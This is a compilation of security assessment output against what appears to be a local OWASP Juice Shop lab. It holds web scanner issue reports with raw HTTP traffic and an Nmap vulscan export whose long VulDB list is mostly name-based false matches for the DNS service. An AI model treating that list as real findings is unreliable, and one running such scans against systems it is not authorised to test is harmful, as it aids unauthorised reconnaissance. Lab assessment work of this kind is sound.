://local3000.owasp-juice.shop"},{"uri":"http://localhost:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://127.0.0.1:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://192.168.99.100:3000","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://192.168.99.100:4200","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:3000","proxy":"https://localchromeos.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:4200","prSnip
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Robots.txt file


/robots.txt

Issue detail:



The web server contains a robots.txt file.




Issue background




The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site that robots are allowed, or not allowed, to crawl and index.


The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.






Issue remediation




The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.





Vulnerability classifications




		CWE-200: Information Exposure








Request:


GET /robots.txt HTTP/1.1

Host: 192.168.186.128:3000

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/plain; charset=utf-8

Content-Length: 28

ETag: W/"1c-8HgF6mNyhsSFK0pascC9uB0wjX0"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:23:05 GMT

Connection: close



User-agent: *
Disallow: /ftp










[bookmark: 5867765678674146304]
HTML does not specify charset


/socket.io

Issue detail:



This issue was found in multiple locations under the reported path.




Issue background




If a  response states that it contains HTML content but does not specify a character set, then the browser may analyze the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.


In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of affected responses, and the context in which they appear, to determine whether any vulnerability exists. 






Issue remediation




For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognized character set, for example charset=ISO-8859-1.






Vulnerability classifications




		CWE-16: Configuration


		CWE-436: Interpretation Conflict








Request 1:


POST /socket.io/?EIO=4&transport=polling&t=O8qy1Uz&sid=b5wQTKn6_cBzp2jxAADp HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 2



40

Response 1:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 17:05:35 GMT

Connection: close



ok

Request 2:


POST /socket.io/?EIO=4&transport=polling&t=O8qyvoH&sid=s2wyAOYpn8-fPACAAAEr HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 1



1

Response 2:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 17:09:26 GMT

Connection: close



ok

Request 3:


POST /socket.io/?EIO=4&transport=polling&t=O8q_FjI&sid=mdbyTtc--XsmFQWVAAHL HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Content-type: text/plain;charset=UTF-8

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 1



1

Response 3:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 2

Date: Fri, 22 Jul 2022 17:19:40 GMT

Connection: close



ok
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NMAPXLs.xls
Summary

		Scan		Command		Version		Scan Type		Started		Completed		Hosts Total		Hosts Up		Hosts Down

		NMAPVulnScanTitle.xml		nmap -sV --script=vulscan/vulscan.nse --script-args vulnscanoutput=listtitle -oA NMAPVulnScanTitle -vv 192.168.186.128		7.92		connect		2022-07-26 14:53:19 (UTC)		2022-07-26 14:54:48 (UTC)		1		1		0





Hosts

		Host		IP		Status		Services		OS

				192.168.186.128		up		15





Results

		Host		IP		Port		Protocol		Status		Service		Tunnel		Source		Method		Confidence		Reason		Product		Version		Extra		Flagged		Notes

				192.168.186.128		53		tcp		open		domain				scanner		probed		100%		syn-ack		Simple DNS Plus						N/A

				192.168.186.128		53		tcp		open		domain				script		vulscan		100%		syn-ack		Simple DNS Plus				VulDB - https://vuldb.com:
[176208] CMS Made Simple 2.2.14 Setting News Module cross site scripting
[176110] Nginx Open Source/Plus/Ingress Controller Resolver off-by-one
[176066] radsecproxy up to 1.8 Peer Discovery DNS Record naptr-eduroam.sh injection
[175288] Store Locator Plus Plugin up to 5.5.15 on WordPress Endpoint cross site scripting
[175287] Store Locator Plus Plugin up to 5.5.14 on WordPress Meta Data privileges management
[174499] The Plus Addons for Elementor Page Builder Lite Plugin Widget cross site scripting
[174112] IBM Spectrum Protect Plus 10.1.6/10.1.7 File Systems Agent log file
[174110] IBM Spectrum Protect Plus up to 10.1.7 inadequate encryption
[173898] IBM Spectrum Protect Plus up to 10.1.7 Domain Name unknown vulnerability
[172921] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172916] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172683] dnsmasq up to 2.84 Port security check for standard
[172435] Plus Addons for Elementor Page Builder Plugin up to 4.1.6 on WordPress improper authentication
[171987] CMS Made Simple up to 2.2.15 Title Field /admin/addbookmark.php cross site scripting
[171923] FreeBSD up to 11.4/12.1/12.2 DNSSL Option buffer overflow
[171716] Cisco IOS XE DNS ALG denial of service
[171712] Cisco Aironet mDNS Gateway denial of service
[171000] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170999] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170998] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170997] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170996] Microsoft Windows Server 20H2 up to Server 2019 DNS Server code injection
[170995] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170994] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170646] Node.js up to 10.23.x/12.20.x/14.15.x/15.9.x DNS Server /etc/hosts dns rebinding
[170579] IBM Cloud APM 8.1.4 DNS Query name resolution
[169913] F5 BIG-IP DNS/BIG-IP GTM up to 11.6.x/12.1.x/13.1.0.3 big3d buffer overflow
[169679] IBM Spectrum Protect Plus up to 10.1.7 resource consumption
[169499] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[169329] Red Hat Enterprise Linux dnsmasq access control
[169162] Zoho ManageEngine Remote Access Plus 10.0.259 User Administration Screen userMgmt.do injection
[168494] Dnsmasq up to 2.82 rfc1035.c extract_name heap-based overflow
[168493] Dnsmasq up to 2.82 Pending Request security check for standard
[168492] Dnsmasq up to 2.82 rfc1035.c extract_name heap-based overflow
[168491] Dnsmasq up to 2.82 RRSets Sort heap-based overflow
[168478] Dnsmasq up to 2.82 DNS Cache forward.c reply_query unknown vulnerability
[168477] Dnsmasq up to 2.82 DNS Cache forward.c reply_query security check for standard
[168476] Dnsmasq up to 2.82 DNSSEC rfc1035.c extract_name heap-based overflow
[168027] Simple Board Job Plugin up to 2.9.3 on WordPress pathname traversal
[167516] IBM Spectrum Protect Plus up to 10.1.0/10.1.6 VDAP Proxy information disclosure
[167515] IBM Spectrum Protect Plus <=10.1.0 up to 10.1.6 Session password recovery
[167514] IBM Spectrum Protect Plus <=10.1.0 up to 10.1.6 clickjacking
[167513] IBM Spectrum Protect Plus <=10.1.0 up to 10.1.6 HTTP Host Header cross site scripting
[167512] IBM Spectrum Protect Plus <=10.1.0 up to 10.1.6 URL information disclosure
[167511] IBM Spectrum Protect Plus <=10.1.0 up to 10.1.6 permission
[162200] PowerDNS Authoritative up to 4.3.0 GSS-TSIG Signature denial of service
[162149] GetSimple CMS 3.3.16 Settings Page Persistent cross site scripting
[162148] CMS Made Simple 2.2.14 Content Manager Persistent cross site scripting
[162118] CMS Made Simple up to 2.2.14 moduleinterface.php cross site scripting
[162060] SonicWALL SSL VPN DNS information disclosure
[161954] cPanel up to 90.0.9 WHM Edit DNS Zone Interface cross site scripting
[161953] cPanel up to 88.0.12 DNS Zone Manager DNSSEC Interface cross site scripting
[161950] cPanel up to 88.0.2 PowerDNS API Key weak encryption
[161869] Cisco IOS/IOS XE Split DNS privilege escalation
[161860] Cisco IOS XE mDNS privilege escalation
[161280] IBM Spectrum Protect Plus up to 10.1.6 directory traversal
[161279] IBM Spectrum Protect Plus up to 10.1.6 Administrative Console privilege escalation
[160920] Microsoft Windows up to Server 2019 DNS denial of service
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160869] Microsoft Windows up to Server 2019 DNS privilege escalation
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160587] GetSimple CMS 3.3.16 Login Portal admin/index.php Reflected cross site scripting
[160483] Zoho ManageEngine Exchange Reporter Plus weak authentication
[159935] CMS Made Simple 2.2.14 File Manager privilege escalation
[157873] SRS Simple Hits Counter Plugin 1.0.3/1.0.4 on WordPress sql injection
[157772] Palo Alto PAN-OS up to 9.1.2 dnsproxyd memory corruption
[157538] PowerDNS Recursor up to 4.1.16/4.2.2/4.3.1 Web Server privilege escalation
[157408] Reportexpress ProPlus Config File unknown vulnerability
[157335] IBM Spectrum Protect Plus up to 10.1.5 weak encryption
[157040] CMS Made Simple 2.2.14 moduleinterface.php cross site scripting
[156765] IBM Spectrum Protect Plus up to 10.1.5 Log File weak encryption
[156764] IBM Spectrum Protect Plus up to 10.1.5 privilege escalation
[156763] IBM Spectrum Protect Plus up to 10.1.5 Administrative Console privilege escalation
[156762] IBM Spectrum Protect Plus up to 10.1.5 Incomplete Fix CVE-2020-4211 privilege escalation
[156760] IBM Spectrum Protect Plus up to 10.1.5 weak authentication
[156276] D-Link DSL 2730-U/DIR-600M DNS Resolver privilege escalation
[155671] CMS Made Simple up to 2.2.14 File Picker Profile Name cross site scripting
[155427] PowerDNS Recursor up to 4.3.0 SOA SyncRes::processAnswer privilege escalation
[155423] PowerDNS Recursor up to 4.1.15/4.2.1/4.3.0 Recursive Query Amplification denial of service
[155420] PowerDNS Recursor up to 4.3.0 gethostname information disclosure
[155199] simple-file-list Plugin up to 4.2.7 on WordPress directory traversal
[154802] Cisco ASA/Firepower Threat Defense DNS over IPv6 Packet Processor privilege escalation
[154727] IBM Spectrum Protect Plus up to 10.1.5 directory traversal
[153264] Microsoft Windows up to Server 2019 DNS denial of service
[153262] Microsoft Office 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 memory corruption
[153253] Microsoft Office 365 ProPlus Excel memory corruption
[152827] WP Lead Plus X Plugin up to 0.98 on WordPress c37_wpl_import_template cross site scripting
[152826] WP Lead Plus X Plugin up to 0.98 on WordPress wp_ajax_core37_lp_save_page cross site scripting
[152477] IBM Spectrum Protect Plus up to 10.1.5 privilege escalation
[152476] IBM Spectrum Protect Plus up to 10.1.5 privilege escalation
[152475] IBM Spectrum Protect Plus up to 10.1.5 directory traversal
[152469] IBM Spectrum Protect Plus up to 10.1.5 privilege escalation
[152468] IBM Spectrum Protect Plus up to 10.1.5 weak authentication
[152467] IBM Spectrum Protect Plus up to 10.1.5 privilege escalation
[151940] Simple Link Directory Plugin up to 7.3.4 on WordPress qcopd-shortcode-generator.php get_the_title cross site scripting
[151936] Simple Machines Forum up to 2.0.16 Subs-Package.php privilege escalation
[151921] CMS Made Simple 2.2.13 Filemanager php.jpegd privilege escalation
[151920] CMS Made Simple 2.2.13 Filemanager moduleinterface.php Stored cross site scripting
[151846] Zoho ManageEngine Remote Access Plus 10.0.258 User Permission privilege escalation
[151758] cPanel up to 84.0.19 PowerDNS privilege escalation
[151166] Microsoft Office 365 ProPlus/2010 SP2/2013 SP1/2016/2019 Word memory corruption
[151089] Microsoft Office 365 ProPlus/2019 for Mac Word memory corruption
[151087] Microsoft Office 365 ProPlus/2016 for Mac Word memory corruption
[151086] Microsoft Office 365 ProPlus/2013 RT SP1/2013 SP1/2016/2019 Word memory corruption
[150979] D-Link DIR-825 Rev.B 2.10 dns_query.cgi privilege escalation
[150867] Cisco Webex Meetings Client on macOS mDNS information disclosure
[150470] IBM Spectrum Protect Plus 10.1.0/10.1.5 HTTP privilege escalation
[150469] IBM Spectrum Protect Plus 10.1.0/10.1.5 HTTP privilege escalation
[150468] IBM Spectrum Protect Plus 10.1.0/10.1.5 HTTP privilege escalation
[150467] IBM Spectrum Protect Plus 10.1.0/10.1.5 HTTP privilege escalation
[150466] IBM Spectrum Protect Plus 10.1.0/10.1.5 HTTP privilege escalation
[150462] IBM Spectrum Protect Plus 10.1.0/10.5.0 information disclosure
[150336] phpMyChat-Plus 1.98 deluser.php sql injection
[150276] Zoho ManageEngine Remote Access Plus 10.0.447 Mail Server Test privilege escalation
[149918] Microsoft Office 365 ProPlus OLicenseHeartbeat privilege escalation
[149657] NextCloud 16 DNS privilege escalation
[149606] Zoho ManageEngine Remote Access Plus up to 10.0 Credential Manager Credentials information disclosure
[149223] Simple Machines Forum up to 2.0.15 information disclosure
[148619] Microsoft Office 365 ProPlus Excel memory corruption
[148374] Dnsmasq up to 2.80 information disclosure
[147566] phpMyChat-Plus 1.98 Password Reset URL pass_reset.php Reflected cross site scripting
[146921] Samba up to 4.9.16/4.10.10/4.11.2 AD Handleer ldb_qsort/dns_name_compare information disclosure
[146139] PowerDNS up to 4.1.9 privilege escalation
[146136] OpenStack Designate DNS Protocol denial of service
[145852] F5 BIG-IP/BIG-IQ/iWorkflow/Enterprise Manager Configuration Utility DNS Rebinding privilege escalation
[145401] Microsoft Office 365 ProPlus/2019 ClickToRun Security Feature privilege escalation
[144968] ISC BIND DNS Response Rate Cache Poisoning weak authentication
[144967] Python PIP up to 1.4 DNS Query weak authentication
[144739] CUJO Smart Firewall 7003 mdnscap denial of service
[144434] RouterOS up to 6.44.5/6.45.6 DNS Server privilege escalation
[144433] RouterOS up to 6.44.5/6.45.6 DNS Cache Poisoning weak authentication
[144062] Easy Digital Downloads Simple Shipping Extension up to <=1.8.6 on WordPress cross site scripting
[143551] CMS Made Simple 2.2.11 News Screen Stored cross site scripting
[143550] CMS Made Simple 2.2.11 File Manager Stored cross site scripting
[143294] ISC BIND up to 9.11.6-S1 EDNS Client Subnet privilege escalation
[143199] ISC BIND up to 9.10.8-P1/9.11.5-P1/9.12.3-P1 EDNS Option denial of service
[143001] buddypress-activity-plus Plugin up to 1.6.1 on WordPress wp-admin/admin-ajax.php cross site request forgery
[142984] CMS Made Simple 2.2.11 Module Manager cross site scripting
[142957] joyplus-cms 1.6.0 manager/admin_pic.php directory traversal
[142097] joyplus-cms 1.6.0 admin_ajax.php cross site request forgery
[142058] auto-thickbox-plus Plugin up to 1.9 on WordPress download.min.php cross site scripting
[141807] GetSimple CMS 3.3.15 admin/theme-edit.php Persistent cross site scripting
[141732] Ultra Simple Paypal Shopping Cart up to 4.4 on WordPress cross site request forgery
[141207] ConvertPlus Plugin up to 3.4.4 on WordPress Account Creation privilege escalation
[141177] simple-mail-address-encoder Plugin up to 1.6 on WordPress Reflected cross site scripting
[141162] simple-301-redirects-addon-bulk-uploader Plugin up to 1.2.4 on WordPress Redirect
[141160] wp-private-content-plus Plugin up to 1.x on WordPress Settings save_settings_page 7PK Security Features
[141056] simple-301-redirects-addon-bulk-uploader Plugin up to 1.2.4 on WordPress 301 Redirect
[140984] UpdraftPlus Plugin up to 1.13.4 on WordPress Log cross site scripting
[140964] UpdraftPlus Plugin up to 1.9.63 on WordPress add_query_arg/remove_query_arg cross site scripting
[140779] trust-dns-proto Crate up to 0.5.0-alpha.2 on Rust DNS Message Compression memory corruption
[140749] proxystatistics Module up to 3.0.x on SimpleSAMLphp DatabaseCommand.php sql injection
[140681] wp-support-plus-responsive-ticket-system Plugin up to 9.1.1 on WordPress privilege escalation
[140629] simple-login-log Plugin up to 1.1.1 on WordPress sql injection
[140625] wp-support-plus-responsive-ticket-system Plugin up to 7.0.x on WordPress Ticket Number privilege escalation
[140598] wp-support-plus-responsive-ticket-system Plugin up to 4.0 on WordPress privilege escalation
[140597] wp-support-plus-responsive-ticket-system Plugin up to 4.1 on WordPress directory traversal
[140596] wp-support-plus-responsive-ticket-system Plugin up to 4.1 on WordPress weak authentication
[140595] wp-support-plus-responsive-ticket-system Plugin up to 4.1 on WordPress Path information disclosure
[140594] wp-support-plus-responsive-ticket-system Plugin up to 4.1 on WordPress sql injection
[140039] simple-login-log Plugin up to 1.1.1 on WordPress sql injection
[140029] simple-membership Plugin up to 3.3.2 on WordPress cross site request forgery
[140028] simple-add-pages-or-posts Plugin up to 1.6 on WordPress cross site request forgery
[140014] simple-fields Plugin up to 1.1 on WordPress Admin Interface cross site request forgery
[139904] Microsoft Word 365 ProPlus/2016/2019 memory corruption
[139903] Microsoft Office 365 ProPlus/2010 SP2/2013 SP1/2016/2019 privilege escalation
[139863] simple-job-board Plugin up to 2.4.3 on WordPress Keyword Search Reflected cross site scripting
[139849] simple-fields Plugin up to 1.4.10 on WordPress cross site scripting
[139804] simple-membership Plugin up to 3.5.6 on WordPress cross site scripting
[139792] simple-share-buttons-adder plugin up to 5.x on WordPress cross site scripting
[139730] Lightbox Plus Colorbox Plugin up to 2.7.2 on WordPress admin.php cross site request forgery
[139634] Simple Travis Pipeline Runner Plugin up to 1.0 on Jenkins Custom Script Security Whitelist 7PK Security Features
[139282] cPanel up to 68.0.14 DNS Zone SOA Record privilege escalation
[139275] Dnsmasq up to 2.75 DNS Server memory corruption
[139242] cPanel up to 70.0.22 WHM Reset a DNS Zone Stored cross site scripting
[139240] cPanel up to 70.0.22 WHM Edit DNS Zone Stored cross site scripting
[139230] cPanel up to 70.0.22 WHM Synchronize DNS Record Stored cross site scripting
[139229] cPanel up to 70.0.22 WHM DNS Cleanup Stored cross site scripting
[139228] cPanel up to 70.0.22 WHM Delete a DNS Zone Stored cross site scripting
[139227] cPanel up to 70.0.22 HM Edit DNS Zone Stored cross site scripting
[139225] cPanel up to 70.0.22 WHM DNS Cluster Stored cross site scripting
[139222] cPanel up to 70.0.22 WHM Edit DNS Zone Stored cross site scripting
[139188] cPanel up to 11.53.x DNS NS Entry privilege escalation
[139154] cPanel up to 55.9999.140 DNS NS Entry privilege escalation
[139036] PowerDNS Authoritative Server up to 4.0.7/4.1.8 NOTIFY Message denial of service
[139035] PowerDNS Authoritative Server up to 4.0.7/4.1.9 Record privilege escalation
[138989] Custom Simple Rss Plugin 2.0.6 on WordPress cross site request forgery
[138972] cPanel up to 76.0.7 DNS Zone Stored cross site scripting
[138888] Simple Membership Plugin up to 3.8.4 on WordPress Bulk Operation Section cross site request forgery
[138841] simple_captcha2 Gem 0.2.3 on Ruby privilege escalation
[138319] gdnsd 3.2.0 zscan_rfc1035.rl set_ipv6 memory corruption
[138318] gdnsd 3.2.0 zscan_rfc1035.rl set_ipv4 memory corruption
[137572] Microsoft Excel 365 ProPlus/2019 information disclosure
[137571] Microsoft Excel 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 privilege escalation
[137570] Microsoft Excel 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 privilege escalation
[137569] Microsoft Office 365 ProPlus/2013 RT SP1/2013 SP1/2016/2019 JavaScript privilege escalation
[137532] Microsoft Windows DNS Server Data Processing Error
[136661] Sony Bravia TV up to 8.587 Photo Sharing Plus memory corruption
[136660] Sony Bravia TV up to 8.587 Photo Sharing Plus directory traversal
[136659] Sony Bravia TV up to 8.587 Photo Sharing Plus privilege escalation
[136653] Samba up to 4.10.4 AD DC DNS Management Server denial of service
[136332] Microsoft Office 365 ProPlus/2016/2019 Word memory corruption
[136331] Microsoft Office 365 ProPlus/2010 SP2/2013 SP1/2016/2019 Word memory corruption
[135642] CMS Made Simple up to 2.2.10 Persistent cross site scripting
[135362] GetSimple CMS up to 3.3.15 theme-edit.php privilege escalation
[134697] Microsoft Office/Word 365 ProPlus/2016/2019 memory corruption
[134379] F5 BIG-IP up to 11.5.8/11.6.3.4/12.1.4/13.1.1.4/14.1.0.1 DNS Query privilege escalation
[134313] Zoho ManageEngine Firewall Analyzer up to 12.2 DNS Name Stored cross site scripting
[134184] Sony Smart TV Photo Sharing Plus LJYT0010.JPG Credentials information disclosure
[134183] Sony Smart TV Photo Sharing Plus Credentials information disclosure
[134047] CMS Made Simple up to 2.2.10 File Manager Reflected cross site scripting
[133856] Sony Smart TV Photo Sharing Plus information disclosure
[133367] CMS Made Simple 2.2.8 FrontEndUsers class.FrontEndUsersManipulate.php privilege escalation
[133184] Microsoft Office 365 ProPlus/2016 for Mac/2019 Graphics Component memory corruption
[133151] Wireshark 3.0.0 TSDNS Dissector packet-tsdns.c denial of service
[132468] CMS Made Simple 2.2.8 ModuleManager action.installmodule.php Unserialize privilege escalation
[132467] CMS Made Simple 2.2.8 Administrator Account privilege escalation
[132466] CMS Made Simple 2.2.8 Administrator Page changegroupperm.php privilege escalation
[132465] CMS Made Simple 2.2.8 filepicker privilege escalation
[132464] CMS Made Simple 2.2.8 DesignManager action.admin_bulk_css.php Unserialize privilege escalation
[132463] CMS Made Simple up to 2.2.8 News Module Time-Based sql injection
[132439] CMS Made Simple 2.2.10 My Preferences myaccount.php cross site scripting
[132438] CMS Made Simple 2.2.10 News Module moduleinterface.php cross site scripting
[132437] CMS Made Simple 2.2.10 Layout Design Manager cross site scripting
[132150] CMS Made Simple 2.2.10 New Profile moduleinterface.php cross site scripting
[132106] PowerDNS Authoritative Server up to 4.0.6/4.1.6 HTTP Connector privilege escalation
[132042] WP Support Plus Responsive Ticket System 9.1.1 on WordPress submit_ticket.php Stored cross site scripting
[131983] CUJO Smart Firewall 7003 mdnscap memory corruption
[131982] CUJO Smart Firewall 7003 mdnscap memory corruption
[131981] CUJO Smart Firewall mdnscap memory corruption
[131576] CMS Made Simple up to 2.2.9 class.showtime2_data.php sql injection
[131575] CMS Made Simple up to 2.2.9 Watermark class.showtime2_image.php privilege escalation
[131432] Miek Gieben DNS Library up to 1.0.9 scan_rr.go setTA denial of service
[131417] Simple Machines Forum 2.0.4 index.php privilege escalation
[131416] Simple Machines Forum 2.0.4 index.php cross site scripting
[131415] Simple Machines Forum 2.0.4 install.php directory traversal
[131111] PHP up to 7.1.25/7.2.13/7.3.1 DNS Response ext/standard/dns.c dns_get_record information disclosure
[130785] Microsoft Office 365 ProPlus/2010 SP2/2013 SP1/2016/2019 Security Feature Phishing 7PK Security Features
[130316] PowerDNS Recursor up to 4.1.8 DNSSEC Validator weak authentication
[130315] PowerDNS Recursor 4.1.4/4.1.5/4.1.6/4.1.7/4.1.8 Lua Hook 7PK Security Features
[129818] ISC BIND up to 9.11.4/9.12.2 DDNS 7PK Security Features
[128762] Microsoft Office 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 Word privilege escalation
[128744] Microsoft Office 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 information disclosure
[128743] Microsoft Office 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 information disclosure
[128732] Microsoft Office 365 ProPlus/2010 SP2/2013 SP1/2016/2019 MSHTML Engine privilege escalation
[128706] GNU binutils 2.31.1 libiberty cplus-dem.c demangle_template memory corruption
[128583] GetSimple CMS 3.3.12 admin/edit.php Stored cross site scripting
[128421] CMS Made Simple 2.2.8 admin/myaccount.php Reflected cross site scripting
[128117] CMS Made Simple 2.2.8 File Upload cross site scripting
[128071] Nagios XI up to 5.5.7 magpie_simple.php cross site scripting
[127921] HAProxy up to 1.8.14 dns.c denial of service
[127920] HAProxy up to 1.8.14 dns.c dns_validate_dns_response information disclosure
[127809] Microsoft PowerPoint 365 ProPlus/2010 SP2/2013 RT SP1/2013 SP1/2016 memory corruption
[127801] Microsoft Windows up to Server 2019 DNS Server memory corruption
[127646] Amazon Web Services FreeRTOS DNS Response xProcessReceivedUDPPacket/prvParseDNSReply privilege escalation
[127642] Amazon Web Services FreeRTOS DNS LLMNR Packet prvParseDNSReply memory corruption
[127409] PowerDNS Recursor up to 4.1.7 information disclosure
[127296] PowerDNS Authoritative Server/Recursor up to 4.1.4 Cache Data Processing Error
[127291] PowerDNS Authoritative Server/PowerDNS Recursor denial of service
[127272] Samba 4.9.0/4.9.1/4.9.2 DNS Zone denial of service
[127126] PowerDNS dnsdist up to 1.3.2 privilege escalation
[126831] Digium Asterisk up to 15.6.1/16.0.0 DNS SRV/NAPTR Lookup memory corruption
[126748] Microsoft Office 365 ProPlus/2019 Outlook Message information disclosure
[126734] Microsoft Office 365 ProPlus/2019 information disclosure
[126715] Microsoft Office 365 ProPlus/2016/2019 Excel memory corruption
[126614] PowerDNS Recursor up to 4.1.4 DNSSEC Validator privilege escalation
[126386] PowerDNS Authoritative Server up to 3.4.10/4.0.1 Zone memory corruption
[126053] Douchat 4.0.4 Data\notify.php simplexml_load_string XML External Entity
[125845] DeDeCMS 5.7 plus/qrcode.php cross site scripting
[125781] GNU binutils 2.31 GNU libiberty cplus-dem.c get_count memory corruption
[125302] CMS Made Simple 2.2.7 Article moduleinterface.php cross site scripting
[125301] CMS Made Simple 2.2.7 Article moduleinterface.php cross site scripting
[125110] Microsoft Windows up to Server 2019 DNS Global Blocklist 7PK Security Features
[124755] Zahir Accounting Enterprise Plus up to 10b CSV File memory corruption
[124628] GetSimple CMS 3.3.15 admin/settings.php Stored cross site scripting
[124370] DeDeCMS 5.7 /plus/feedback_ajax.php cross site scripting
[124232] Foscam C1 Indoor HD Camera 2.52.2.43 DDNS Client memory corruption
[124138] Foscam C1 Indoor HD Camera 2.52.2.43 DDNS Client memory corruption
[124137] Foscam C1 Indoor HD Camera 2.52.2.43 DDNS Client memory corruption
[124136] Foscam C1 Indoor HD Camera 2.52.2.43 DDNS Client memory corruption
[124111] GetSimple CMS 3.3.13 admin/settings.php cross site request forgery
[124082] D-Link DIR-816 A2 1.10 B05 /goform/DDNS handler memory corruption
[123953] D-Link DIR-600M Dynamic DNS Configuration Page cross site scripting
[123892] PowerDNS/PowerDNS Recursor TSIG Signature privilege escalation
[123891] PowerDNS/PowerDNS Recursor TSIG Signature privilege escalation
[123888] PowerDNS/PowerDNS Recursor DNS Server denial of service
[123797] PowerDNS Authoritative Server up to 3.4.10/4.0.1 Web Server denial of service
[123479] GetSimple CMS 3.4.0.9 admin/edit.php cross site scripting
[123234] GetSimple CMS 3.3.14 admin/edit.php cross site scripting
[123032] daveismyname simple-cms up to 2014-03-11 admin/addpage.php cross site request forgery
[123031] daveismyname simple-cms up to 2014-03-11 admin/ cross site request forgery
[122962] OpenEMR up to 5.0.1.3 Anything_simple.php sql injection
[122263] PowerDNS Recursor up to 4.0.7 denial of service
[122251] Linux Kernel up to 4.17.10 HFS+ File System fs/hfsplus/dir.c hfsplus_lookup denial of service
[122196] F5 BIG-IP DNS up to 12.1.3.5/13.1.0.7 DNS Message 7PK Security Features
[122059] mitmproxy 4.0.3 tools/web/app.py DNS Rebinding privilege escalation
[122058] joyplus-cms 1.6.0 manager/admin_ajax.php sql injection
[122057] joyplus-cms 1.6.0 collect_vod_zhuiju.php cross site scripting
[121957] joyplus-cms 1.6.0 manager/admin_ajax.php sql injection
[121956] joyplus-cms 1.6.0 manager/admin_ajax.php cross site scripting
[121533] joyplus-cms 1.6.0 File Upload upload.php privilege escalation
[121107] Microsoft Windows up to Server 2016 DNSAPI DNSAPI.dll Data Processing Error
[120077] GNU binutils 2.30 GNU libiberty cplus-dem.c denial of service
[120019] joyplus-cms 1.6.0 System Manage admin_player.php cross site scripting
[119833] GNU binutils 2.30 GNU libiberty cplus-dem.c demangle_templat denial of service
[119832] GNU binutils 2.30 GNU libiberty cplus-dem.c work_stuff_copy_to_from denial of service
[119808] GNU binutils 2.30 GNU libiberty cplus-dem.c denial of service
[119431] Microsoft Windows up to Server 2016 DNSAPI DNSAPI.dll privilege escalation
